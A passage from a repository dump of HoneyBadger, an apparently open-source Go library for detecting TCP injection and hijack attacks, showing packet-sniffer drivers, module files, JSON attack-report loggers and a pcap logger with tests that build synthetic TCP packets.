layers.TCP{\n\t\tSeq:     uint32(startSeq + len(packet1.Payload)),\n\t\tSYN:     false,\n\t\tRST:     true,\n\t\tSrcPort: 1,\n\t\tDstPort: 2,\n\t}\n\tflow2 := types.NewTcpIp4FlowFromLayers(ip2, tcp2)\n\tpacket2 := types.PacketManifest{\n\t\tTimestamp: time.Now(),\n\t\tFlow:      flow2,\n\t\tIPv4:      &ip2,\n\t\tTCP:       &tcp2,\n\t\tPayload:   []byte{1, 2, 3, 4, 5, 6, 7},\n\t}\n\tconnsChan := dispatcher.GetObservedConnectionsChan(1)\n\tdispatcher.ReceivePacket(&packet1)\n\t<-connsChan\n\tconns := dispatcher.Connections()\n\tif len(conns) != 1 {\n\t\tt.Fatalf(\"number of connections %d is not 1\", len(conns))\n\t}\n\tconn := conns[0]\n\tmockConn := conn.(*MockConnection)\n\t<-mockConn.packetObserverChan\n\tconns = dispatcher.Connections()\n\tif len(conns) != 1 {\n\t\tt.Fatalf(\"number of connections %d is not 1\", len(conns))\n\t}\n\tconn = conns[0]\n\tmockConn = conn.(*MockConnection)\n\tdispatcher.ReceivePacket(&packet2)\n\t<-mockConn.packetObserverChan\n\tsniffer.Stop()\n}\n\nfunc SetupRealConnectionInquisitor() (*Supervisor, PacketDispatcher, types.PacketSource) {\n\ttcpIdleTimeout, _ := time.ParseDuration(\"10m\")\n\tdispatcherOptions := DispatcherOptions{\n\t\tBufferedPerConnection:    10,\n\t\tBufferedTotal:            100,\n\t\tLogDir:                   \".\",\n\t\tLogPackets:               true,\n\t\tTcpIdleTimeout:           tcpIdleTimeout,\n\t\tMaxRingPackets:           40,\n\t\tLogger:                   logging.NewAttackMetadataJsonLogger(\"archives\"),\n\t\tDetectHijack:             true,\n\t\tDetectInjection:          true,\n\t\tDetectCoalesceInjection:  true,\n\t\tMaxConcurrentConnections: 100,\n\t}\n\n\twireDuration, _ := time.ParseDuration(\"3s\")\n\tsnifferOptions := types.SnifferDriverOptions{\n\t\tDevice:       \"myInterface\",\n\t\tFilename:     \"\",\n\t\tWireDuration: wireDuration,\n\t\tSnaplen:      65536,\n\t\tFilter:       \"tcp\",\n\t}\n\n\tfactory := &DefaultConnFactory{}\n\tmockPacketLoggerFactory := MockPacketLoggerFactory{}\n\toptions := SupervisorOptions{\n\t\tSnifferDriverOptions: &snifferOptions,\n\t\tDispatcherOptions:    dispatcherOptions,\n\t\tSnifferFactory:       NewMockSniffer,\n\t\tConnectionFactory:    factory,\n\t\tPacketLoggerFactory:  mockPacketLoggerFactory,\n\t}\n\tsupervisor := NewSupervisor(options)\n\tgo supervisor.Run()\n\tsniffer := supervisor.GetSniffer()\n\tstartedChan := sniffer.GetStartedChan()\n\tdispatcher := supervisor.GetDispatcher()\n\t<-startedChan\n\treturn supervisor, dispatcher, sniffer\n}\n"
  },
  {
    "path": "drivers/afpacket.go",
    "content": "// +build linux\n\n/*\n *    HoneyBadger core library for detecting TCP injection attacks\n *\n *    Copyright (C) 2014, 2015  David Stainton\n *\n *    This program is free software: you can redistribute it and/or modify\n *    it under the terms of the GNU General Public License as published by\n *    the Free Software Foundation, either version 3 of the License, or\n *    (at your option) any later version.\n *\n *    This program is distributed in the hope that it will be useful,\n *    but WITHOUT ANY WARRANTY; without even the implied warranty of\n *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n *    GNU General Public License for more details.\n *\n *    You should have received a copy of the GNU General Public License\n *    along with this program.  If not, see <http://www.gnu.org/licenses/>.\n */\n\npackage drivers\n\nimport (\n\t\"github.com/google/gopacket\"\n\t\"github.com/google/gopacket/afpacket\"\n\n\t\"github.com/david415/HoneyBadger/types\"\n)\n\nfunc init() {\n\tSnifferRegister(\"AF_PACKET\", NewAfpacketHandle)\n}\n\ntype AfpacketHandle struct {\n\tafpacketHandle *afpacket.TPacket\n}\n\nfunc NewAfpacketHandle(options *types.SnifferDriverOptions) (types.PacketDataSourceCloser, error) {\n\tafpacketHandle, err := afpacket.NewTPacket(afpacket.OptInterface(options.Device))\n\treturn &AfpacketHandle{\n\t\tafpacketHandle: afpacketHandle,\n\t}, err\n}\n\nfunc (a *AfpacketHandle) ReadPacketData() (data []byte, ci gopacket.CaptureInfo, err error) {\n\treturn a.afpacketHandle.ReadPacketData()\n}\n\nfunc (a *AfpacketHandle) Close() error {\n\ta.afpacketHandle.Close()\n\treturn nil\n}\n"
  },
  {
    "path": "drivers/bpf.go",
    "content": "// +build darwin dragonfly freebsd netbsd openbsd\n\n/*\n *    HoneyBadger core library for detecting TCP injection attacks\n *\n *    Copyright (C) 2014, 2015  David Stainton\n *\n *    This program is free software: you can redistribute it and/or modify\n *    it under the terms of the GNU General Public License as published by\n *    the Free Software Foundation, either version 3 of the License, or\n *    (at your option) any later version.\n *\n *    This program is distributed in the hope that it will be useful,\n *    but WITHOUT ANY WARRANTY; without even the implied warranty of\n *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n *    GNU General Public License for more details.\n *\n *    You should have received a copy of the GNU General Public License\n *    along with this program.  If not, see <http://www.gnu.org/licenses/>.\n */\n\npackage drivers\n\nimport (\n\t\"github.com/google/gopacket\"\n\t\"github.com/google/gopacket/bsdbpf\"\n\n\t\"github.com/david415/HoneyBadger/types\"\n)\n\nfunc init() {\n\tSnifferRegister(\"BSD_BPF\", NewBPFHandle)\n}\n\ntype BPFHandle struct {\n\tbpfSniffer *bsdbpf.BPFSniffer\n}\n\nfunc NewBPFHandle(options *types.SnifferDriverOptions) (types.PacketDataSourceCloser, error) {\n\t// XXX TODO pass more options...\n\tbpfSniffer, err := bsdbpf.NewBPFSniffer(options.Device, nil)\n\treturn &BPFHandle{\n\t\tbpfSniffer: bpfSniffer,\n\t}, err\n}\n\nfunc (a *BPFHandle) ReadPacketData() (data []byte, ci gopacket.CaptureInfo, err error) {\n\treturn a.bpfSniffer.ReadPacketData()\n}\n\nfunc (a *BPFHandle) Close() error {\n\treturn a.bpfSniffer.Close()\n}\n"
  },
  {
    "path": "drivers/libpcap.go",
    "content": "// +build linux freebsd solaris\n\n/*\n *    HoneyBadger core library for detecting TCP injection attacks\n *\n *    Copyright (C) 2014, 2015  David Stainton\n *\n *    This program is free software: you can redistribute it and/or modify\n *    it under the terms of the GNU General Public License as published by\n *    the Free Software Foundation, either version 3 of the License, or\n *    (at your option) any later version.\n *\n *    This program is distributed in the hope that it will be useful,\n *    but WITHOUT ANY WARRANTY; without even the implied warranty of\n *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n *    GNU General Public License for more details.\n *\n *    You should have received a copy of the GNU General Public License\n *    along with this program.  If not, see <http://www.gnu.org/licenses/>.\n */\n\npackage drivers\n\nimport (\n\t\"github.com/google/gopacket\"\n\t\"github.com/google/gopacket/pcap\"\n\t\"time\"\n\n\t\"github.com/david415/HoneyBadger/types\"\n)\n\nfunc init() {\n\tSnifferRegister(\"libpcap\", NewPcapSniffer)\n}\n\ntype PcapHandle struct {\n\thandle *pcap.Handle\n}\n\nfunc NewPcapSniffer(options *types.SnifferDriverOptions) (types.PacketDataSourceCloser, error) {\n\tif options.Filename != \"\" {\n\t\tpcapFileHandle, err := pcap.OpenOffline(options.Filename)\n\t\tpcapHandle := PcapHandle{\n\t\t\thandle: pcapFileHandle,\n\t\t}\n\t\treturn &pcapHandle, err\n\t} else {\n\t\tpcapWireHandle, err := pcap.OpenLive(options.Device, options.Snaplen, true, options.WireDuration)\n\t\tpcapHandle := PcapHandle{\n\t\t\thandle: pcapWireHandle,\n\t\t}\n\t\terr = pcapHandle.handle.SetBPFFilter(options.Filter)\n\t\treturn &pcapHandle, err\n\t}\n}\n\nfunc NewPcapFileSniffer(filename string) (*PcapHandle, error) {\n\tpcapFileHandle, err := pcap.OpenOffline(filename)\n\tpcapHandle := PcapHandle{\n\t\thandle: pcapFileHandle,\n\t}\n\treturn &pcapHandle, err\n}\n\nfunc NewPcapWireSniffer(netDevice string, snaplen int32, wireDuration time.Duration, filter string) (*PcapHandle, error) {\n\tpcapWireHandle, err := pcap.OpenLive(netDevice, snaplen, true, wireDuration)\n\tpcapHandle := PcapHandle{\n\t\thandle: pcapWireHandle,\n\t}\n\terr = pcapHandle.handle.SetBPFFilter(filter)\n\treturn &pcapHandle, err\n}\n\nfunc (p *PcapHandle) ReadPacketData() (data []byte, ci gopacket.CaptureInfo, err error) {\n\treturn p.handle.ReadPacketData()\n}\n\nfunc (p *PcapHandle) Close() error {\n\tp.handle.Close()\n\treturn nil\n}\n"
  },
  {
    "path": "drivers/pcapgo.go",
    "content": "/*\n *    HoneyBadger core library for detecting TCP injection attacks\n *\n *    Copyright (C) 2014, 2015  David Stainton\n *\n *    This program is free software: you can redistribute it and/or modify\n *    it under the terms of the GNU General Public License as published by\n *    the Free Software Foundation, either version 3 of the License, or\n *    (at your option) any later version.\n *\n *    This program is distributed in the hope that it will be useful,\n *    but WITHOUT ANY WARRANTY; without even the implied warranty of\n *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n *    GNU General Public License for more details.\n *\n *    You should have received a copy of the GNU General Public License\n *    along with this program.  If not, see <http://www.gnu.org/licenses/>.\n */\n\n\npackage drivers\n\nimport (\n\t\"io\"\n\t\"os\"\n\n\t\"github.com/google/gopacket\"\n\t\"github.com/google/gopacket/pcapgo\"\n\n\t\"github.com/david415/HoneyBadger/types\"\n)\n\n\nfunc init() {\n\tSnifferRegister(\"pcapgo\", NewPcapgoHandle)\n}\n\ntype PcapgoHandle struct {\n\treader *pcapgo.Reader\n\tfileReader io.ReadCloser\n}\n\nfunc NewPcapgoHandle(options *types.SnifferDriverOptions) (types.PacketDataSourceCloser, error) {\n\tfileReader, err := os.Open(options.Filename)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treader, err := pcapgo.NewReader(fileReader)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn &PcapgoHandle{\n\t\treader: reader,\n\t\tfileReader: fileReader,\n\t}, nil\n}\n\nfunc (a *PcapgoHandle) ReadPacketData() ([]byte, gopacket.CaptureInfo, error) {\n\tdata, ci, err := a.reader.ReadPacketData()\n\treturn data, ci, err\n}\n\nfunc (a *PcapgoHandle) Close() error {\n\treturn a.fileReader.Close()\n}\n"
  },
  {
    "path": "drivers/register.go",
    "content": "/*\n *    HoneyBadger core library for detecting TCP injection attacks\n *\n *    Copyright (C) 2014, 2015  David Stainton\n *\n *    This program is free software: you can redistribute it and/or modify\n *    it under the terms of the GNU General Public License as published by\n *    the Free Software Foundation, either version 3 of the License, or\n *    (at your option) any later version.\n *\n *    This program is distributed in the hope that it will be useful,\n *    but WITHOUT ANY WARRANTY; without even the implied warranty of\n *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n *    GNU General Public License for more details.\n *\n *    You should have received a copy of the GNU General Public License\n *    along with this program.  If not, see <http://www.gnu.org/licenses/>.\n */\n\npackage drivers\n\nimport (\n\t\"github.com/david415/HoneyBadger/types\"\n)\n\nvar Drivers = map[string]func(*types.SnifferDriverOptions) (types.PacketDataSourceCloser, error){}\n\n// Register makes a ethernet sniffer driver available by the provided name.\n// If Register is called twice with the same name or if driver is nil, it panics.\nfunc SnifferRegister(name string, packetDataSourceCloserFactory func(*types.SnifferDriverOptions) (types.PacketDataSourceCloser, error)) {\n\tif packetDataSourceCloserFactory == nil {\n\t\tpanic(\"sniffer: packetDataSourceCloserFactory is nil\")\n\t}\n\tif _, dup := Drivers[name]; dup {\n\t\tpanic(\"sniffer: Register called twice for ethernet sniffer \" + name)\n\t}\n\tDrivers[name] = packetDataSourceCloserFactory\n}\n"
  },
  {
    "path": "go.mod",
    "content": "module github.com/david415/HoneyBadger\n\ngo 1.13\n\nrequire (\n\tgithub.com/fatih/color v1.7.0\n\tgithub.com/google/gopacket v1.1.17\n\tgithub.com/mattn/go-colorable v0.1.4 // indirect\n\tgithub.com/mattn/go-isatty v0.0.11 // indirect\n)\n"
  },
  {
    "path": "go.sum",
    "content": "github.com/fatih/color v1.7.0 h1:DkWD4oS2D8LGGgTQ6IvwJJXSL5Vp2ffcQg58nFV38Ys=\ngithub.com/fatih/color v1.7.0/go.mod h1:Zm6kSWBoL9eyXnKyktHP6abPY2pDugNf5KwzbycvMj4=\ngithub.com/google/gopacket v1.1.17 h1:rMrlX2ZY2UbvT+sdz3+6J+pp2z+msCq9MxTU6ymxbBY=\ngithub.com/google/gopacket v1.1.17/go.mod h1:UdDNZ1OO62aGYVnPhxT1U6aI7ukYtA/kB8vaU0diBUM=\ngithub.com/mattn/go-colorable v0.1.4 h1:snbPLB8fVfU9iwbbo30TPtbLRzwWu6aJS6Xh4eaaviA=\ngithub.com/mattn/go-colorable v0.1.4/go.mod h1:U0ppj6V5qS13XJ6of8GYAs25YV2eR4EVcfRqFIhoBtE=\ngithub.com/mattn/go-isatty v0.0.8/go.mod h1:Iq45c/XA43vh69/j3iqttzPXn0bhXyGjM0Hdxcsrc5s=\ngithub.com/mattn/go-isatty v0.0.11 h1:FxPOTFNqGkuDUGi3H/qkUbQO4ZiBa2brKq5r0l8TGeM=\ngithub.com/mattn/go-isatty v0.0.11/go.mod h1:PhnuNfih5lzO57/f3n+odYbM4JtupLOxQOAqxQCu2WE=\ngolang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w=\ngolang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3 h1:0GoQqolDA55aaLxZyTzK/Y2ePZzZTUrRacwib7cNsYQ=\ngolang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg=\ngolang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=\ngolang.org/x/sys v0.0.0-20190222072716-a9d3bda3a223/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY=\ngolang.org/x/sys v0.0.0-20190405154228-4b34438f7a67 h1:1Fzlr8kkDLQwqMP8GxrhptBLqZG/EDpiATneiZHY998=\ngolang.org/x/sys v0.0.0-20190405154228-4b34438f7a67/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=\ngolang.org/x/sys v0.0.0-20191026070338-33540a1f6037 h1:YyJpGZS1sBuBCzLAR1VEpK193GlqGZbnPFnPV/5Rsb4=\ngolang.org/x/sys v0.0.0-20191026070338-33540a1f6037/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=\ngolang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ=\n"
  },
  {
    "path": "logging/attack_logger.go",
    "content": "/*\n *    HoneyBadger core library for detecting TCP injection attacks\n *\n *    Copyright (C) 2014, 2015  David Stainton\n *\n *    This program is free software: you can redistribute it and/or modify\n *    it under the terms of the GNU General Public License as published by\n *    the Free Software Foundation, either version 3 of the License, or\n *    (at your option) any later version.\n *\n *    This program is distributed in the hope that it will be useful,\n *    but WITHOUT ANY WARRANTY; without even the implied warranty of\n *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n *    GNU General Public License for more details.\n *\n *    You should have received a copy of the GNU General Public License\n *    along with this program.  If not, see <http://www.gnu.org/licenses/>.\n */\n\npackage logging\n\nimport (\n\t\"encoding/base64\"\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"github.com/david415/HoneyBadger/types\"\n\t\"io\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"time\"\n)\n\ntype SerializedEvent struct {\n\tType                     string\n\tTime                     time.Time\n\tPacketCount              uint64\n\tFlow                     string\n\tHijackSeq                uint32\n\tHijackAck                uint32\n\tPayload                  string\n\tWinner                   string\n\tLoser                    string\n\tBase, Start, End         types.Sequence\n}\n\n// AttackJsonLogger is responsible for recording all attack reports as JSON objects in a file.\ntype AttackJsonLogger struct {\n\twriter           io.WriteCloser\n\tArchiveDir       string\n\tstopChan         chan bool\n\tattackReportChan chan *types.Event\n}\n\n// NewAttackJsonLogger returns a pointer to a AttackJsonLogger struct\nfunc NewAttackJsonLogger(archiveDir string) *AttackJsonLogger {\n\ta := AttackJsonLogger{\n\t\tArchiveDir:       archiveDir,\n\t\tstopChan:         make(chan bool),\n\t\tattackReportChan: make(chan *types.Event),\n\t}\n\treturn &a\n}\n\nfunc (a *AttackJsonLogger) Start() {\n\tgo a.receiveReports()\n}\n\nfunc (a *AttackJsonLogger) Stop() {\n\ta.stopChan <- true\n}\n\nfunc (a *AttackJsonLogger) receiveReports() {\n\tfor {\n\t\tselect {\n\t\tcase <-a.stopChan:\n\t\t\treturn\n\t\tcase unserializedReport := <-a.attackReportChan:\n\t\t\ta.SerializeAndWrite(unserializedReport)\n\t\t}\n\t}\n}\n\nfunc (a *AttackJsonLogger) Log(event *types.Event) {\n\ta.attackReportChan <- event\n}\n\nfunc (a *AttackJsonLogger) SerializeAndWrite(event *types.Event) {\n\tserialized := &SerializedEvent{\n\t\tType:         event.Type,\n\t\tPacketCount:  event.PacketCount,\n\t\tFlow:         event.Flow.String(),\n\t\tHijackSeq:    event.HijackSeq,\n\t\tHijackAck:    event.HijackAck,\n\t\tTime:         event.Time,\n\t\tPayload:      base64.StdEncoding.EncodeToString(event.Payload),\n\t\tWinner:       base64.StdEncoding.EncodeToString(event.Winner),\n\t\tLoser:        base64.StdEncoding.EncodeToString(event.Loser),\n\t\tBase:         event.Base,\n\t\tStart:        event.Start,\n\t\tEnd:          event.End,\n\t}\n\ta.Publish(serialized)\n}\n\n// Publish writes a JSON report to the attack-report file for that flow.\nfunc (a *AttackJsonLogger) Publish(event *SerializedEvent) {\n\tb, err := json.Marshal(event)\n\tlogName := filepath.Join(a.ArchiveDir, fmt.Sprintf(\"%s.attackreport.json\", event.Flow))\n\ta.writer, err = os.OpenFile(logName, os.O_RDWR|os.O_CREATE|os.O_APPEND, 0666)\n\tif err != nil {\n\t\tpanic(fmt.Sprintf(\"error opening file: %v\", err))\n\t}\n\tdefer a.writer.Close()\n\ta.writer.Write([]byte(fmt.Sprintf(\"%s\\n\", string(b))))\n}\n"
  },
  {
    "path": "logging/metadata_attack_logger.go",
    "content": "/*\n *    HoneyBadger core library for detecting TCP injection attacks\n *\n *    Copyright (C) 2014, 2015  David Stainton\n *\n *    This program is free software: you can redistribute it and/or modify\n *    it under the terms of the GNU General Public License as published by\n *    the Free Software Foundation, either version 3 of the License, or\n *    (at your option) any later version.\n *\n *    This program is distributed in the hope that it will be useful,\n *    but WITHOUT ANY WARRANTY; without even the implied warranty of\n *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n *    GNU General Public License for more details.\n *\n *    You should have received a copy of the GNU General Public License\n *    along with this program.  If not, see <http://www.gnu.org/licenses/>.\n */\n\npackage logging\n\nimport (\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"github.com/david415/HoneyBadger/types\"\n\t\"io\"\n\t\"os\"\n\t\"path/filepath\"\n)\n\n// AttackMetadataJsonLogger is responsible for recording all attack reports as JSON objects in a file.\n// This attack logger only logs metadata... but ouch code duplication.\ntype AttackMetadataJsonLogger struct {\n\twriter           io.WriteCloser\n\tArchiveDir       string\n\tstopChan         chan bool\n\tattackReportChan chan *types.Event\n}\n\n// NewAttackMetadataJsonLogger returns a pointer to a AttackMetadataJsonLogger struct\nfunc NewAttackMetadataJsonLogger(archiveDir string) *AttackMetadataJsonLogger {\n\ta := AttackMetadataJsonLogger{\n\t\tArchiveDir:       archiveDir,\n\t\tstopChan:         make(chan bool),\n\t\tattackReportChan: make(chan *types.Event),\n\t}\n\treturn &a\n}\n\nfunc (a *AttackMetadataJsonLogger) Start() {\n\tgo a.receiveReports()\n}\n\nfunc (a *AttackMetadataJsonLogger) Stop() {\n\ta.stopChan <- true\n}\n\nfunc (a *AttackMetadataJsonLogger) receiveReports() {\n\tfor {\n\t\tselect {\n\t\tcase <-a.stopChan:\n\t\t\treturn\n\t\tcase event := <-a.attackReportChan:\n\t\t\ta.SerializeAndWrite(event)\n\t\t}\n\t}\n}\n\nfunc (a *AttackMetadataJsonLogger) Log(event *types.Event) {\n\ta.attackReportChan <- event\n}\n\nfunc (a *AttackMetadataJsonLogger) SerializeAndWrite(event *types.Event) {\n\tpublishableEvent := &SerializedEvent{\n\t\tType:         event.Type,\n\t\tPacketCount:  event.PacketCount,\n\t\tFlow:         event.Flow.String(),\n\t\tHijackSeq:    event.HijackSeq,\n\t\tHijackAck:    event.HijackAck,\n\t\tTime:         event.Time,\n\t\tBase:         event.Base,\n\t\tStart:        event.Start,\n\t\tEnd:          event.End,\n\t}\n\ta.Publish(publishableEvent)\n}\n\n// Publish writes a JSON report to the attack-report file for that flow.\nfunc (a *AttackMetadataJsonLogger) Publish(event *SerializedEvent) {\n\tb, err := json.Marshal(*event)\n\tlogName := filepath.Join(a.ArchiveDir, fmt.Sprintf(\"%s.metadata-attackreport.json\", event.Flow))\n\ta.writer, err = os.OpenFile(logName, os.O_RDWR|os.O_CREATE|os.O_APPEND, 0666)\n\tif err != nil {\n\t\tpanic(fmt.Sprintf(\"error opening file: %v\", err))\n\t}\n\tdefer a.writer.Close()\n\ta.writer.Write([]byte(fmt.Sprintf(\"%s\\n\", string(b))))\n}\n"
  },
  {
    "path": "logging/pcap_logger.go",
    "content": "/*\n *    HoneyBadger core library for detecting TCP injection attacks\n *\n *    Copyright (C) 2014, 2015  David Stainton\n *\n *    This program is free software: you can redistribute it and/or modify\n *    it under the terms of the GNU General Public License as published by\n *    the Free Software Foundation, either version 3 of the License, or\n *    (at your option) any later version.\n *\n *    This program is distributed in the hope that it will be useful,\n *    but WITHOUT ANY WARRANTY; without even the implied warranty of\n *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n *    GNU General Public License for more details.\n *\n *    You should have received a copy of the GNU General Public License\n *    along with this program.  If not, see <http://www.gnu.org/licenses/>.\n */\n\npackage logging\n\nimport (\n\t\"fmt\"\n\t\"io\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"time\"\n\n\t\"github.com/google/gopacket\"\n\t\"github.com/google/gopacket/layers\"\n\t\"github.com/google/gopacket/pcapgo\"\n\n\t\"github.com/david415/HoneyBadger/types\"\n)\n\ntype TimedPacket struct {\n\tRawPacket []byte\n\tTimestamp time.Time\n}\n\n// PcapLogger struct is used to log packets to a pcap file\ntype PcapLogger struct {\n\tpacketChan chan TimedPacket\n\tstopChan   chan bool\n\tAckChan    *chan bool\n\tLogDir     string\n\tArchiveDir string\n\tFlow       *types.TcpIpFlow\n\twriter     *pcapgo.Writer\n\tFileWriter io.WriteCloser\n\tpcapLogNum int\n\tpcapQuota  int\n\tbasename   string\n}\n\nfunc NewPcapLogger(logDir, archiveDir string, flow *types.TcpIpFlow, pcapLogNum int, pcapQuota int) *PcapLogger {\n\tp := PcapLogger{\n\t\tpacketChan: make(chan TimedPacket),\n\t\tstopChan:   make(chan bool),\n\t\tAckChan: nil,\n\t\tFlow:       flow,\n\t\tLogDir:     logDir,\n\t\tArchiveDir: archiveDir,\n\t\tpcapLogNum: pcapLogNum,\n\t\tpcapQuota:  pcapQuota,\n\t}\n\n\tp.basename = filepath.Join(p.LogDir, fmt.Sprintf(\"%s.pcap\", p.Flow))\n\tp.FileWriter = NewRotatingQuotaWriter(p.basename, p.pcapQuota, p.pcapLogNum, p.WriteHeader)\n\tp.writer = pcapgo.NewWriter(p.FileWriter)\n\n\treturn &p\n}\n\ntype PcapLoggerFactory struct {\n\tLogDir     string\n\tArchiveDir string\n\tPcapLogNum int\n\tPcapQuota  int\n}\n\nfunc NewPcapLoggerFactory(logDir, archiveDir string, pcapLogNum, pcapQuota int) PcapLoggerFactory {\n\treturn PcapLoggerFactory{\n\t\tLogDir:     logDir,\n\t\tArchiveDir: archiveDir,\n\t\tPcapLogNum: pcapLogNum,\n\t\tPcapQuota:  pcapQuota,\n\t}\n}\n\nfunc (f PcapLoggerFactory) Build(flow *types.TcpIpFlow) types.PacketLogger {\n\treturn NewPcapLogger(f.LogDir, f.ArchiveDir, flow, f.PcapLogNum, f.PcapQuota)\n}\n\nfunc (p *PcapLogger) SetFileWriter(writer io.WriteCloser) {\n\tp.FileWriter = writer\n\tp.writer = pcapgo.NewWriter(p.FileWriter)\n}\n\nfunc (p *PcapLogger) WriteHeader() {\n\terr := p.writer.WriteFileHeader(65536, layers.LinkTypeEthernet)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n}\n\nfunc (p *PcapLogger) Start() {\n\tgo p.logPackets()\n}\n\nfunc (p *PcapLogger) Stop() {\n\tp.stopChan <- true\n\tp.FileWriter.Close()\n}\n\nfunc (p *PcapLogger) Archive() {\n\tnewBasename := filepath.Join(p.ArchiveDir, filepath.Base(p.basename))\n\tos.Rename(p.basename, newBasename)\n\tfor i := 1; i < p.pcapLogNum+1; i++ {\n\t\tos.Rename(filepath.Join(p.LogDir, fmt.Sprintf(\"%s.pcap.%d\", p.Flow.String(), i)), fmt.Sprintf(\"%s.%d\", newBasename, i))\n\t}\n}\n\nfunc (p *PcapLogger) logPackets() {\n\tfor {\n\t\tselect {\n\t\tcase <-p.stopChan:\n\t\t\treturn\n\t\tcase timedPacket := <-p.packetChan:\n\t\t\tp.WritePacketToFile(timedPacket.RawPacket, timedPacket.Timestamp)\n\t\t\tif p.AckChan != nil {\n\t\t\t\tc := p.AckChan\n\t\t\t\t*c <- true\n\t\t\t}\n\t\t}\n\t}\n}\n\nfunc (p *PcapLogger) Remove() {\n\tos.Remove(p.basename)\n\tfor i := 1; i < p.pcapLogNum+1; i++ {\n\t\tos.Remove(filepath.Join(p.LogDir, fmt.Sprintf(\"%s.pcap.%d\", p.Flow, i)))\n\t}\n}\n\nfunc (p *PcapLogger) WritePacket(rawPacket []byte, timestamp time.Time) {\n\tp.packetChan <- TimedPacket{\n\t\tRawPacket: rawPacket,\n\t\tTimestamp: timestamp,\n\t}\n}\n\nfunc (p *PcapLogger) WritePacketToFile(rawPacket []byte, timestamp time.Time) {\n\terr := p.writer.WritePacket(gopacket.CaptureInfo{\n\t\tTimestamp:     timestamp,\n\t\tCaptureLength: len(rawPacket),\n\t\tLength:        len(rawPacket),\n\t}, rawPacket)\n\n\tif err != nil {\n\t\tpanic(err)\n\t}\n}\n"
  },
  {
    "path": "logging/pcap_logger_test.go",
    "content": "package logging\n\nimport (\n\t\"bytes\"\n\t\"github.com/david415/HoneyBadger/types\"\n\t\"github.com/google/gopacket\"\n\t\"github.com/google/gopacket/layers\"\n\t\"log\"\n\t\"net\"\n\t\"testing\"\n\t\"encoding/hex\"\n\t\"time\"\n)\n\nfunc makeTestPacket() []byte {\n\tvar testSeq uint32 = 12345\n\tbuf := gopacket.NewSerializeBuffer()\n\topts := gopacket.SerializeOptions{\n\t\tFixLengths:       true,\n\t\tComputeChecksums: true,\n\t}\n\teth := layers.Ethernet{\n\t\tSrcMAC: net.HardwareAddr{0xde, 0xad, 0xbe, 0xee, 0xee, 0xff},\n\t\tDstMAC: net.HardwareAddr{0xff, 0xff, 0xff, 0xff, 0xff, 0xff},\n\t}\n\tip := layers.IPv4{\n\t\tSrcIP:    net.IP{1, 2, 3, 4},\n\t\tDstIP:    net.IP{2, 3, 4, 5},\n\t\tVersion:  4,\n\t\tTTL:      64,\n\t\tProtocol: layers.IPProtocolTCP,\n\t}\n\ttcp := layers.TCP{\n\t\tSYN:       true,\n\t\tSrcPort:   1,\n\t\tDstPort:   2,\n\t\tSeq:       testSeq,\n\t\tBaseLayer: layers.BaseLayer{Payload: []byte{1, 2, 3}},\n\t}\n\ttcp.SetNetworkLayerForChecksum(&ip)\n\tgopacket.SerializeLayers(buf, opts, &eth, &ip, &tcp)\n\tpacketData := buf.Bytes()\n\treturn packetData\n}\n\ntype TestPcapWriter struct {\n\tlastWrite []byte\n}\n\nfunc NewTestPcapWriter() *TestPcapWriter {\n\treturn &TestPcapWriter{}\n}\n\nfunc (w *TestPcapWriter) Write(data []byte) (int, error) {\n\tw.lastWrite = data\n\treturn len(data), nil\n}\n\nfunc (w *TestPcapWriter) Close() error {\n\treturn nil\n}\n\nfunc TestPcapLogger(t *testing.T) {\n\tipFlow, _ := gopacket.FlowFromEndpoints(layers.NewIPEndpoint(net.IPv4(1, 2, 3, 4)), layers.NewIPEndpoint(net.IPv4(2, 3, 4, 5)))\n\ttcpFlow, _ := gopacket.FlowFromEndpoints(layers.NewTCPPortEndpoint(layers.TCPPort(1)), layers.NewTCPPortEndpoint(layers.TCPPort(2)))\n\tflow := types.NewTcpIpFlowFromFlows(ipFlow, tcpFlow)\n\n\tpcapLogger := NewPcapLogger(\"log-dir\", \"archive-dir\", &flow, 1, 10)\n\tackChan := make(chan bool)\n\tpcapLogger.AckChan = &ackChan\n\ttestWriter := NewTestPcapWriter()\n\tpcapLogger.SetFileWriter(testWriter)\n\t//testWriter.lastWrite = make([]byte, 0)\n\n\tpcapLogger.Start()\n\n\trawPacket := makeTestPacket()\n\tpcapLogger.WritePacket(rawPacket, time.Now())\n\n\t<- ackChan\n\n\tlog.Printf(\"before hex dump of %d len bytes\\n\", len(testWriter.lastWrite))\n\tlog.Print(hex.Dump(testWriter.lastWrite))\n\tlog.Print(\"post hex\\n\")\n\n\t// XXX TODO test our rotating quota logger for pcap header output on each log file\n\t//want := 